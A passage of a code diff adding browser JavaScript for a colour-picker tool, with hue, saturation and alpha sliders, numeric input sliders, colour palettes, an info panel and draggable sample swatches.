+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+		this.notify('hexa', this.color.getHexa());
+
+		notify(this.topic, this.color);
+	};
+
+	ColorPicker.prototype.updateHueSlider = function updateHueSlider(e) {
+		var x = e.pageX - this.hue_area.offsetLeft;
+		var width = this.hue_area.clientWidth;
+
+		if (x < 0) x = 0;
+		if (x > width) x = width;
+
+		// TODO 360 => 359
+		var hue = ((359 * x) / width) | 0;
+		// if (hue === 360) hue = 359;
+
+		this.updateSliderPosition(this.hue_picker, x);
+		this.setHue(hue);
+	};
+
+	ColorPicker.prototype.updateAlphaSlider = function updateAlphaSlider(e) {
+		var x = e.pageX - this.alpha_area.offsetLeft;
+		var width = this.alpha_area.clientWidth;
+
+		if (x < 0) x = 0;
+		if (x > width) x = width;
+
+		this.color.a = (x / width).toFixed(2);
+
+		this.updateSliderPosition(this.alpha_picker, x);
+		this.updatePreviewColor();
+
+		this.notify('alpha', this.color.a);
+		notify(this.topic, this.color);
+	};
+
+	ColorPicker.prototype.setHue = function setHue(value) {
+		this.color.setHue(value);
+
+		this.updatePickerBackground();
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+		this.notify('hexa', this.color.getHexa());
+		this.notify('hue', this.color.hue);
+
+		notify(this.topic, this.color);
+	};
+
+	// Updates when one of Saturation/Value/Lightness changes
+	ColorPicker.prototype.updateSLV = function updateSLV() {
+		this.updatePickerPosition();
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+		this.notify('hexa', this.color.getHexa());
+
+		notify(this.topic, this.color);
+	};
+
+	/*************************************************************************/
+	//				Update positions of various UI elements
+	/*************************************************************************/
+
+	ColorPicker.prototype.updatePickerPosition = function updatePickerPosition() {
+		var size = this.picking_area.clientWidth;
+		var value = 0;
+		var offset = 5;
+
+		if (this.picker_mode === 'HSV')
+			value = this.color.value;
+		if (this.picker_mode === 'HSL')
+			value = this.color.lightness;
+
+		var x = (this.color.saturation * size / 100) | 0;
+		var y = size - (value * size / 100) | 0;
+
+		this.color_picker.style.left = x - offset + 'px';
+		this.color_picker.style.top = y - offset + 'px';
+	};
+
+	ColorPicker.prototype.updateSliderPosition = function updateSliderPosition(elem, pos) {
+		elem.style.left = Math.max(pos - 3, -2) + 'px';
+	};
+
+	ColorPicker.prototype.updateHuePicker = function updateHuePicker() {
+		var size = this.hue_area.clientWidth;
+		var offset = 1;
+		var pos = (this.color.hue * size / 360 ) | 0;
+		this.hue_picker.style.left = pos - offset + 'px';
+	};
+
+	ColorPicker.prototype.updateAlphaPicker = function updateAlphaPicker() {
+		var size = this.alpha_area.clientWidth;
+		var offset = 1;
+		var pos = (this.color.a * size) | 0;
+		this.alpha_picker.style.left = pos - offset + 'px';
+	};
+
+	/*************************************************************************/
+	//						Update background colors
+	/*************************************************************************/
+
+	ColorPicker.prototype.updatePickerBackground = function updatePickerBackground() {
+		var nc = new Color(this.color);
+		nc.setHSV(nc.hue, 100, 100);
+		this.picking_area.style.backgroundColor = nc.getHexa();
+	};
+
+	ColorPicker.prototype.updateAlphaGradient = function updateAlphaGradient() {
+		this.alpha_mask.style.backgroundColor = this.color.getHexa();
+	};
+
+	ColorPicker.prototype.updatePreviewColor = function updatePreviewColor() {
+		this.preview_color.style.backgroundColor = this.color.getColor();
+	};
+
+	/*************************************************************************/
+	//						Update input elements
+	/*************************************************************************/
+
+	ColorPicker.prototype.inputChangeHue = function inputChangeHue(e) {
+		var value = parseInt(e.target.value);
+		this.setHue(value);
+		this.updateHuePicker();
+	};
+
+	ColorPicker.prototype.inputChangeSaturation = function inputChangeSaturation(e) {
+		var value = parseInt(e.target.value);
+		this.color.setSaturation(value);
+		e.target.value = this.color.saturation;
+		this.updateSLV();
+	};
+
+	ColorPicker.prototype.inputChangeValue = function inputChangeValue(e) {
+		var value = parseInt(e.target.value);
+		this.color.setValue(value);
+		e.target.value = this.color.value;
+		this.updateSLV();
+	};
+
+	ColorPicker.prototype.inputChangeLightness = function inputChangeLightness(e) {
+		var value = parseInt(e.target.value);
+		this.color.setLightness(value);
+		e.target.value = this.color.lightness;
+		this.updateSLV();
+	};
+
+	ColorPicker.prototype.inputChangeRed = function inputChangeRed(e) {
+		var value = parseInt(e.target.value);
+		this.color.setByName('r', value);
+		e.target.value = this.color.r;
+		this.setColor(this.color);
+	};
+
+	ColorPicker.prototype.inputChangeGreen = function inputChangeGreen(e) {
+		var value = parseInt(e.target.value);
+		this.color.setByName('g', value);
+		e.target.value = this.color.g;
+		this.setColor(this.color);
+	};
+
+	ColorPicker.prototype.inputChangeBlue = function inputChangeBlue(e) {
+		var value = parseInt(e.target.value);
+		this.color.setByName('b', value);
+		e.target.value = this.color.b;
+		this.setColor(this.color);
+	};
+
+	ColorPicker.prototype.inputChangeAlpha = function inputChangeAlpha(e) {
+		var value = parseFloat(e.target.value);
+
+		if (typeof value === 'number' && isNaN(value) === false &&
+			value >= 0 && value <= 1)
+			this.color.a = value.toFixed(2);
+
+		e.target.value = this.color.a;
+		this.updateAlphaPicker();
+	};
+
+	ColorPicker.prototype.inputChangeHexa = function inputChangeHexa(e) {
+		var value = e.target.value;
+		this.color.setHexa(value);
+		this.setColor(this.color);
+	};
+
+	/*************************************************************************/
+	//							Internal Pub/Sub
+	/*************************************************************************/
+
+	ColorPicker.prototype.subscribe = function subscribe(topic, callback) {
+		this.subscribers[topic] = callback;
+	};
+
+	ColorPicker.prototype.notify = function notify(topic, value) {
+		if (this.subscribers[topic])
+			this.subscribers[topic](value);
+	};
+
+	/*************************************************************************/
+	//							Set Picker Properties
+	/*************************************************************************/
+
+	ColorPicker.prototype.setColor = function setColor(color) {
+		if(color instanceof Color !== true) {
+			console.log('Typeof parameter not Color');
+			return;
+		}
+
+		if (color.format !== this.picker_mode) {
+			color.setFormat(this.picker_mode);
+			color.updateHSX();
+		}
+
+		this.color.copy(color);
+		this.updateHuePicker();
+		this.updatePickerPosition();
+		this.updatePickerBackground();
+		this.updateAlphaPicker();
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+
+		this.notify('hue', this.color.hue);
+		this.notify('saturation', this.color.saturation);
+		this.notify('value', this.color.value);
+		this.notify('lightness', this.color.lightness);
+
+		this.notify('alpha', this.color.a);
+		this.notify('hexa', this.color.getHexa());
+		notify(this.topic, this.color);
+	};
+
+	ColorPicker.prototype.setPickerMode = function setPickerMode(mode) {
+		if (mode !== 'HSV' && mode !== 'HSL')
+			return;
+
+		this.picker_mode = mode;
+		this.node.setAttribute('data-mode', this.picker_mode);
+		this.setColor(this.color);
+	};
+
+	/*************************************************************************/
+	//								UNUSED
+	/*************************************************************************/
+
+	var setPickerMode = function setPickerMode(topic, mode) {
+		if (pickers[topic])
+			pickers[topic].setPickerMode(mode);
+	};
+
+	var setColor = function setColor(topic, color) {
+		if (pickers[topic])
+			pickers[topic].setColor(color);
+	};
+
+	var getColor = function getColor(topic) {
+		if (pickers[topic])
+			return new Color(pickers[topic].color);
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(callback) {
+		subscribers.indexOf(callback);
+		subscribers.splice(index, 1);
+	};
+
+	var notify = function notify(topic, value) {
+		if (subscribers[topic] === undefined || subscribers[topic].length === 0)
+			return;
+
+		var color = new Color(value);
+		for (var i in subscribers[topic])
+			subscribers[topic][i](color);
+	};
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-color-picker');
+		var size = elem.length;
+		for (var i = 0; i < size; i++)
+			new ColorPicker(elem[i]);
+	};
+
+	return {
+		init : init,
+		Color : Color,
+		RGBColor : RGBColor,
+		RGBAColor : RGBAColor,
+		HSVColor : HSVColor,
+		HSVAColor : HSVAColor,
+		HSLColor : HSLColor,
+		HSLAColor : HSLAColor,
+		setColor : setColor,
+		getColor : getColor,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe,
+		setPickerMode : setPickerMode
+	};
+
+})();
+
+
+
+/**
+ * UI-SlidersManager
+ */
+
+var InputSliderManager = (function InputSliderManager() {
+
+	var subscribers = {};
+	var sliders = [];
+
+	var InputComponent = function InputComponent(obj) {
+		var input = document.createElement('input');
+		input.setAttribute('type', 'text');
+		input.style.width = 50 + obj.precision * 10 + 'px';
+
+		input.addEventListener('click', function(e) {
+			this.select();
+		});
+
+		input.addEventListener('change', function(e) {
+			var value = parseFloat(e.target.value);
+
+			if (isNaN(value) === true)
+				setValue(obj.topic, obj.value);
+			else
+				setValue(obj.topic, value);
+		});
+
+		return input;
+	};
+
+	var SliderComponent = function SliderComponent(obj, sign) {
+		var slider = document.createElement('div');
+		var startX = null;
+		var start_value = 0;
+
+		slider.addEventListener("click", function(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			setValue(obj.topic, obj.value + obj.step * sign);
+		});
+
+		slider.addEventListener("mousedown", function(e) {
+			startX = e.clientX;
+			start_value = obj.value;
+			document.body.style.cursor = "e-resize";
+
+			document.addEventListener("mouseup", slideEnd);
+			document.addEventListener("mousemove", sliderMotion);
+		});
+
+		var slideEnd = function slideEnd(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			document.body.style.cursor = "auto";
+			slider.style.cursor = "pointer";
+		};
+
+		var sliderMotion = function sliderMotion(e) {
+			slider.style.cursor = "e-resize";
+			var delta = (e.clientX - startX) / obj.sensivity | 0;
+			var value = delta * obj.step + start_value;
+			setValue(obj.topic, value);
+		};
+
+		return slider;
+	};
+
+	var InputSlider = function(node) {
+		var min		= parseFloat(node.getAttribute('data-min'));
+		var max		= parseFloat(node.getAttribute('data-max'));
+		var step	= parseFloat(node.getAttribute('data-step'));
+		var value	= parseFloat(node.getAttribute('data-value'));
+		var topic	= node.getAttribute('data-topic');
+		var unit	= node.getAttribute('data-unit');
+		var name 	= node.getAttribute('data-info');
+		var sensivity = node.getAttribute('data-sensivity') | 0;
+		var precision = node.getAttribute('data-precision') | 0;
+
+		this.min = isNaN(min) ? 0 : min;
+		this.max = isNaN(max) ? 100 : max;
+		this.precision = precision >= 0 ? precision : 0;
+		this.step = step < 0 || isNaN(step) ? 1 : step.toFixed(precision);
+		this.topic = topic;
+		this.node = node;
+		this.unit = unit === null ? '' : unit;
+		this.sensivity = sensivity > 0 ? sensivity : 5;
+		value = isNaN(value) ? this.min : value;
+
+		var input = new InputComponent(this);
+		var slider_left  = new SliderComponent(this, -1);
+		var slider_right = new SliderComponent(this,  1);
+
+		slider_left.className = 'ui-input-slider-left';
+		slider_right.className = 'ui-input-slider-right';
+
+		if (name) {
+			var info = document.createElement('span');
+			info.className = 'ui-input-slider-info';
+			info.textContent = name;
+			node.appendChild(info);
+		}
+
+		node.appendChild(slider_left);
+		node.appendChild(input);
+		node.appendChild(slider_right);
+
+		this.input = input;
+		sliders[topic] = this;
+		setValue(topic, value);
+	};
+
+	InputSlider.prototype.setInputValue = function setInputValue() {
+		this.input.value = this.value.toFixed(this.precision) + this.unit;
+	};
+
+	var setValue = function setValue(topic, value, send_notify) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = parseFloat(value.toFixed(slider.precision));
+
+		if (value > slider.max) value = slider.max;
+		if (value < slider.min)	value = slider.min;
+
+		slider.value = value;
+		slider.node.setAttribute('data-value', value);
+
+		slider.setInputValue();
+
+		if (send_notify === false)
+			return;
+
+		notify.call(slider);
+	};
+
+	var setMax = function setMax(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.max = value;
+		setValue(topic, slider.value);
+	};
+
+	var setMin = function setMin(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.min = value;
+		setValue(topic, slider.value);
+	};
+
+	var setUnit = function setUnit(topic, unit) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.unit = unit;
+		setValue(topic, slider.value);
+	};
+
+	var setStep = function setStep(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.step = parseFloat(value);
+		setValue(topic, slider.value);
+	};
+
+	var setPrecision = function setPrecision(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = value | 0;
+		slider.precision = value;
+
+		var step = parseFloat(slider.step.toFixed(value));
+		if (step === 0)
+			slider.step = 1 / Math.pow(10, value);
+
+		setValue(topic, slider.value);
+	};
+
+	var setSensivity = function setSensivity(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = value | 0;
+
+		slider.sensivity = value > 0 ? value : 5;
+	};
+
+	var getNode =  function getNode(topic) {
+		return sliders[topic].node;
+	};
+
+	var getPrecision =  function getPrecision(topic) {
+		return sliders[topic].precision;
+	};
+
+	var getStep =  function getStep(topic) {
+		return sliders[topic].step;
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	};
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+		for (var i = 0; i < subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.value);
+	};
+
+	var createSlider = function createSlider(topic, label) {
+		var slider = document.createElement('div');
+		slider.className = 'ui-input-slider';
+		slider.setAttribute('data-topic', topic);
+
+		if (label !== undefined)
+			slider.setAttribute('data-info', label);
+
+		new InputSlider(slider);
+		return slider;
+	};
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-input-slider');
+		var size = elem.length;
+		for (var i = 0; i < size; i++)
+			new InputSlider(elem[i]);
+	};
+
+	return {
+		init : init,
+		setMax : setMax,
+		setMin : setMin,
+		setUnit : setUnit,
+		setStep : setStep,
+		getNode : getNode,
+		getStep : getStep,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe,
+		setPrecision : setPrecision,
+		setSensivity : setSensivity,
+		getPrecision : getPrecision,
+		createSlider : createSlider,
+	};
+
+})();
+
+
+'use strict';
+
+window.addEventListener("load", function() {
+	ColorPickerTool.init();
+});
+
+var ColorPickerTool = (function ColorPickerTool() {
+
+	/*========== Get DOM Element By ID ==========*/
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	function allowDropEvent(e) {
+		e.preventDefault();
+	}
+
+	/*========== Make an element resizable relative to it's parent ==========*/
+
+	var UIComponent = (function UIComponent() {
+
+		function makeResizable(elem, axis) {
+			var valueX = 0;
+			var valueY = 0;
+			var action = 0;
+
+			var resizeStart = function resizeStart(e) {
+				e.stopPropagation();
+				e.preventDefault();
+				if (e.button !== 0)
+					return;
+
+				valueX = e.clientX - elem.clientWidth;
+				valueY = e.clientY - elem.clientHeight;
+
+				document.body.setAttribute('data-resize', axis);
+				document.addEventListener('mousemove', mouseMove);
+				document.addEventListener('mouseup', resizeEnd);
+			};
+
+			var mouseMove = function mouseMove(e) {
+				if (action >= 0)
+					elem.style.width = e.clientX - valueX + 'px';
+				if (action <= 0)
+					elem.style.height = e.clientY - valueY + 'px';
+			};
+
+			var resizeEnd = function resizeEnd(e) {
+				if (e.button !== 0)
+					return;
+
+				document.body.removeAttribute('data-resize', axis);
+				document.removeEventListener('mousemove', mouseMove);
+				document.removeEventListener('mouseup', resizeEnd);
+			};
+
+			var handle = document.createElement('div');
+			handle.className = 'resize-handle';
+
+			if (axis === 'width') action = 1;
+			else if (axis === 'height') action = -1;
+			else axis = 'both';
+
+			handle.className = 'resize-handle';
+			handle.setAttribute('data-resize', axis);
+			handle.addEventListener('mousedown', resizeStart);
+			elem.appendChild(handle);
+		};
+
+		/*========== Make an element draggable relative to it's parent ==========*/
+
+		var makeDraggable = function makeDraggable(elem, endFunction) {
+
+			var offsetTop;
+			var offsetLeft;
+
+			elem.setAttribute('data-draggable', 'true');
+
+			var dragStart = function dragStart(e) {
+				e.preventDefault();
+				e.stopPropagation();
+
+				if (e.target.getAttribute('data-draggable') !== 'true' ||
+					e.target !== elem || e.button !== 0)
+					return;
+
+				offsetLeft = e.clientX - elem.offsetLeft;
+				offsetTop = e.clientY - elem.offsetTop;
+
+				document.addEventListener('mousemove', mouseDrag);
+				document.addEventListener('mouseup', dragEnd);
+			};
+
+			var dragEnd = function dragEnd(e) {
+				if (e.button !== 0)
+					return;
+
+				document.removeEventListener('mousemove', mouseDrag);
+				document.removeEventListener('mouseup', dragEnd);
+			};
+
+			var mouseDrag = function mouseDrag(e) {
+				elem.style.left = e.clientX - offsetLeft + 'px';
+				elem.style.top = e.clientY - offsetTop + 'px';
+			};
+
+			elem.addEventListener('mousedown', dragStart, false);
+		};
+
+		return {
+			makeResizable : makeResizable,
+			makeDraggable : makeDraggable
+		};
+
+	})();
+
+	/*========== Color Class ==========*/
+
+	var Color = UIColorPicker.Color;
+	var HSLColor = UIColorPicker.HSLColor;
+
+	/**
+	 * ColorPalette
+	 */
+	var ColorPalette = (function ColorPalette() {
+
+		var samples = [];
+		var color_palette;
+		var complementary;
+
+		var hideNode = function(node) {
+			node.setAttribute('data-hidden', 'true');
+		};
+
+		var ColorSample = function ColorSample(id) {
+			var node = document.createElement('div');
+			node.className = 'sample';
+
+			this.uid = samples.length;
+			this.node = node;
+			this.color = new Color();
+
+			node.setAttribute('sample-id', this.uid);
+			node.setAttribute('draggable', 'true');
+			node.addEventListener('dragstart', this.dragStart.bind(this));
+			node.addEventListener('click', this.pickColor.bind(this));
+
+			samples.push(this);
+		};
+
+		ColorSample.prototype.updateBgColor = function updateBgColor() {
+			this.node.style.backgroundColor = this.color.getColor();
+		};
+
+		ColorSample.prototype.updateColor = function updateColor(color) {
+			this.color.copy(color);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateHue = function updateHue(color, degree, steps) {
+			this.color.copy(color);
+			var hue = (steps * degree + this.color.hue) % 360;
+			if (hue < 0) hue += 360;
+			this.color.setHue(hue);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateSaturation = function updateSaturation(color, value, steps) {
+			var saturation = color.saturation + value * steps;
+			if (saturation <= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.setSaturation(saturation);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateLightness = function updateLightness(color, value, steps) {
+			var lightness = color.lightness + value * steps;
+			if (lightness <= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.setLightness(lightness);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateBrightness = function updateBrightness(color, value, steps) {
+			var brightness = color.value + value * steps;
+			if (brightness <= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.setValue(brightness);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateAlpha = function updateAlpha(color, value, steps) {
+			var alpha = parseFloat(color.a) + value * steps;
+			if (alpha <= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.a = parseFloat(alpha.toFixed(2));
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.pickColor = function pickColor() {
+			UIColorPicker.setColor('picker', this.color);
+		};
+
+		ColorSample.prototype.dragStart = function dragStart(e) {
+			e.dataTransfer.setData('sampleID', this.uid);
+			e.dataTransfer.setData('location', 'palette-samples');
+		};
+
+		var Palette = function Palette(text, size) {
+			this.samples = [];
+			this.locked = false;
+
+			var palette = document.createElement('div');
+			var title = document.createElement('div');
+			var controls = document.createElement('div');
+			var container = document.createElement('div');
+			var lock = document.createElement('div');
+
+			container.className = 'container';
+			title.className = 'title';
+			palette.className = 'palette';
+			controls.className = 'controls';
+			lock.className = 'lock';
+			title.textContent = text;
+
+			controls.appendChild(lock);
+			container.appendChild(title);
+			container.appendChild(controls);
+			container.appendChild(palette);
+
+			lock.addEventListener('click', function () {
+				this.locked = !this.locked;
+				lock.setAttribute('locked-state', this.locked);
+			}.bind(this));
+
+			for(var i = 0; i < size; i++) {
+				var sample = new ColorSample();
+				this.samples.push(sample);
+				palette.appendChild(sample.node);
+			}
+
+			this.container = container;
+			this.title = title;
+		};
+
+		var createHuePalette = function createHuePalette() {
+			var palette = new Palette('Hue', 12);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				for(var i = 0; i < 12; i++) {
+					palette.samples[i].updateHue(color, 30, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		var createSaturationPalette = function createSaturationPalette() {
+			var palette = new Palette('Saturation', 11);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				for(var i = 0; i < 11; i++) {
+					palette.samples[i].updateSaturation(color, -10, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		/* Brightness or Lightness - depends on the picker mode */
+		var createVLPalette = function createSaturationPalette() {
+			var palette = new Palette('Lightness', 11);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				if(color.format === 'HSL') {
+					palette.title.textContent = 'Lightness';
+					for(var i = 0; i < 11; i++)
+						palette.samples[i].updateLightness(color, -10, i);
+				}
+				else {
+					palette.title.textContent = 'Value';
+					for(var i = 0; i < 11; i++)
+						palette.samples[i].updateBrightness(color, -10, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		var isBlankPalette = function isBlankPalette(container, value) {
+			if (value === 0) {
+				container.setAttribute('data-collapsed', 'true');
+				return true;
+			}
+
+			container.removeAttribute('data-collapsed');
+			return false;
+		};
+
+		var createAlphaPalette = function createAlphaPalette() {
+			var palette = new Palette('Alpha', 10);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				for(var i = 0; i < 10; i++) {
+					palette.samples[i].updateAlpha(color, -0.1, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		var getSampleColor = function getSampleColor(id) {
+			if (samples[id] !== undefined && samples[id]!== null)
+				return new Color(samples[id].color);
+		};
+
+		var init = function init() {
+			color_palette = getElemById('color-palette');
+
+			createHuePalette();
+			createSaturationPalette();
+			createVLPalette();
+			createAlphaPalette();
+
+		};
+
+		return {
+			init : init,
+			getSampleColor : getSampleColor
+		};
+
+	})();
+
+	/**
+	 * ColorInfo
+	 */
+	var ColorInfo = (function ColorInfo() {
+
+		var info_box;
+		var select;
+		var RGBA;
+		var HEXA;
+		var HSLA;
+
+		var updateInfo = function updateInfo(color) {
+			if (color.a | 0 === 1) {
+				RGBA.info.textContent = 'RGB';
+				HSLA.info.textContent = 'HSL';
+			}
+			else {
+				RGBA.info.textContent = 'RGBA';
+				HSLA.info.textContent = 'HSLA';
+			}
+
+			RGBA.value.value = color.getRGBA();
+			HSLA.value.value = color.getHSLA();
+			HEXA.value.value = color.getHexa();
+		};
+
+		var InfoProperty = function InfoProperty(info) {
+
+			var node = document.createElement('div');
+			var title = document.createElement('div');
+			var value = document.createElement('input');
+			var copy = document.createElement('div');
+
+			node.className = 'property';
+			title.className = 'type';
+			value.className = 'value';
+			copy.className = 'copy';
+
+			title.textContent = info;
+			value.setAttribute('type', 'text');
+
+			copy.addEventListener('click', function() {
+				value.select();
+			});
+
+			node.appendChild(title);
+			node.appendChild(value);
+			node.appendChild(copy);
+
+			this.node = node;
+			this.value = value;
+			this.info = title;
+
+			info_box.appendChild(node);
+		};
+
+		var init = function init() {
+
+			info_box = getElemById('color-info');
+
+			RGBA = new InfoProperty('RGBA');
+			HSLA = new InfoProperty('HSLA');
+			HEXA = new InfoProperty('HEXA');
+
+			UIColorPicker.subscribe('picker', updateInfo);
+
+		};
+
+		return {
+			init: init
+		};
+
+	})();
+
+	/**
+	 * ColorPicker Samples
+	 */
+	var ColorPickerSamples = (function ColorPickerSamples() {
+
+		var samples = [];
+		var nr_samples = 0;
+		var active = null;
+		var container = null;
+		var	samples_per_line = 10;
+		var trash_can = null;
+		var base_color = new HSLColor(0, 50, 100);
+		var add_btn;
+		var add_btn_pos;
+
+		var ColorSample = function ColorSample() {
+			var node = document.createElement('div');
+			node.className = 'sample';
+
+			this.uid = samples.length;
+			this.index = nr_samples++;
+			this.node = node;
+			this.color = new Color(base_color);
+
+			node.setAttribute('sample-id', this.uid);
+			node.setAttribute('draggable', 'true');
+
+			node.addEventListener('dragstart', this.dragStart.bind(this));
+			node.addEventListener('dragover' , allowDropEvent);
+			node.addEventListener('drop'     , this.dragDrop.bind(this));
+
+			this.updatePosition(this.index);
+			this.updateBgColor();
+			samples.push(this);
+		};
+
+		ColorSample.prototype.updateBgColor = function updateBgColor() {
+			this.node.style.backgroundColor = this.color.getColor();
+		};
+
+		ColorSample.prototype.updatePosition = function updatePosition(index) {
+			this.index = index;
+			this.posY = 5 + ((index / samples_per_line) | 0) * 52;
+			this.posX = 5 + ((index % samples_per_line) | 0) * 52;
+			this.node.style.top  = this.posY + 'px';
+			this.node.style.left = this.posX + 'px';
+		};
+
+		ColorSample.prototype.updateColor = function updateColor(color) {
+			this.color.copy(color);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.activate = function activate() {
+			UIColorPicker.setColor('picker', this.color);
+			this.node.setAttribute('data-active', 'true');
+		};
+
+		ColorSample.prototype.deactivate = function deactivate() {
+			this.node.removeAttribute('data-active');
+		};
+
+		ColorSample.prototype.dragStart = function dragStart(e) {
+			e.dataTransfer.setData('sampleID', this.uid);
+			e.dataTransfer.setData('location', 'picker-samples');
+		};
+
+		ColorSample.prototype.dragDrop = function dragDrop(e) {
+			e.stopPropagation();
+			this.color = Tool.getSampleColorFrom(e);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.deleteSample = function deleteSample() {
+			container.removeChild(this.node);
+			samples[this.uid] = null;
+			nr_samples--;
+		};
+
+		var updateUI = function updateUI() {
+			updateContainerProp();
+
+			var index = 0;
+			var nr = samples.length;
+			for (var i=0; i < nr; i++)
+				if (samples[i] !== null) {
+					samples[i].updatePosition(index);
+					index++;
+				}
+
+			AddSampleButton.updatePosition(index);
+		};
+
+		var deleteSample = function deleteSample(e) {
+			trash_can.parentElement.setAttribute('drag-state', 'none');
+
+			var location = e.dataTransfer.getData('location');
+			if (location !== 'picker-samples')
+				return;
+
+			var sampleID = e.dataTransfer.getData('sampleID');
+			samples[sampleID].deleteSample();
+			console.log(samples);
+
+			updateUI();
+		};
+
+		var createDropSample = function createDropSample() {
+			var sample = document.createElement('div');
+			sample.id = 'drop-effect-sample';
+			sample.className = 'sample';
+			container.appendChild(sample);
+		};
+
+		var setActivateSample = function setActivateSample(e) {
+			if (e.target.className !== 'sample')
+				return;
+
+			unsetActiveSample(active);
+			Tool.unsetVoidSample();
+			CanvasSamples.unsetActiveSample();
+			active = samples[e.target.getAttribute('sample-id')];
+			active.activate();
+		};
+
+		var unsetActiveSample = function unsetActiveSample() {
+			if (active)
+				active.deactivate();
+			active = null;
+		};
+
+		var getSampleColor = function getSampleColor(id) {
+			if (samples[id] !== undefined && samples[id]!== null)
+				return new Color(samples[id].color);
+		};
+
+		var updateContainerProp = function updateContainerProp() {
+			samples_per_line = ((container.clientWidth - 5) / 52) | 0;
+			var height = 52 * (1 + (nr_samples / samples_per_line) | 0);
+			container.style.height = height + 10 + 'px';
+		};
+
+		var AddSampleButton = (function AddSampleButton() {
+			var node;
+			var _index = 0;
+			var _posX;
+			var _posY;
+
+			var updatePosition = function updatePosition(index) {
+				_index = index;
+				_posY = 5 + ((index / samples_per_line) | 0) * 52;
+				_posX = 5 + ((index % samples_per_line) | 0) * 52;
+
+				node.style.top  = _posY + 'px';
+				node.style.left = _posX + 'px';
+			};
+
+			var addButtonClick = function addButtonClick() {
+				var sample = new ColorSample();
+				container.appendChild(sample.node);
+				updatePosition(_index + 1);
+				updateUI();
+			};
+
+			var init = function init() {
+				node = document.createElement('div');
+				var icon = document.createElement('div');
+
+				node.className = 'sample';
+				icon.id = 'add-icon';
+				node.appendChild(icon);
+				node.addEventListener('click', addButtonClick);
+
+				updatePosition(0);
+				container.appendChild(node);
+			};
+
+			return {
+				init : init,
+				updatePosition : updatePosition
+			};
+		})();
+
+		var init = function init() {
+			container = getElemById('picker-samples');
+			trash_can = getElemById('trash-can');
+
+			AddSampleButton.init();
+
+			for (var i=0; i<16; i++) {
+				var sample = new ColorSample();
+				container.appendChild(sample.node);
+			}
+
+			AddSampleButton.updatePosition(samples.length);
+			updateUI();
+
+			active = samples[0];
+			active.activate();
+
+			container.addEventListener('click', setActivateSample);
+
+			trash_can.addEventListener('dragover', allowDropEvent);
+			trash_can.addEventListener('dragenter', function() {
+				this.parentElement.setAttribute('drag-state', 'enter');
+			});
+			trash_can.addEventListener('dragleave', function(e) {
+				this.parentElement.setAttribute('drag-state', 'none');
+			});
+			trash_can.addEventListener('drop', deleteSample);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (active)
+					active.updateColor(color);
+			});
+
+		};
+
+		return {
+			init : init,
+			getSampleColor : getSampleColor,
+			unsetActiveSample : unsetActiveSample
+		};
+
+	})();
+
+	/**
+	 * Canvas Samples
+	 */
